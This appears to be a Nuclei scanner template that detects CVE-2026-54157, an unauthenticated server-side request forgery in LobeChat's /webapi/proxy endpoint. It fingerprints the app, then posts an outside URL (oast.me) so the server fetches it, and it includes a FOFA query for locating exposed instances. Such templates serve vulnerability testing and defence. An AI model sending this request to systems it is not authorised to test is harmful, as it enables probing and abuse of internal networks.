id: CVE-2026-54157

info:
  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
  author: 0xj3st3r
  severity: medium
  description: |
    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.
  impact: |
    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.
  remediation: |
    Upgrade LobeHub LobeChat to version 2.1.57 or later.
  reference:
    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157
  classification:
    cve-id: CVE-2026-54157
    epss-score: 0.01782
    epss-percentile: 0.75985
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2026,lobechat,ssrf,vuln,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /webapi/proxy HTTP/1.1
        Host: {{Hostname}}

        http://oast.me

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<h1> Interactsh Server </h1>")'
        condition: and
# digest: 490a00463044022071dcc9ff03f4f7e41bcd9936357bdc188c071fa1ef542f73ba2ff2e39befd56e02200b91090c55945b49c321311b7c3d65c5bd3255a02c94f9c9a6faccf9e72be501:922c64590222798bb761d5b6d8e72950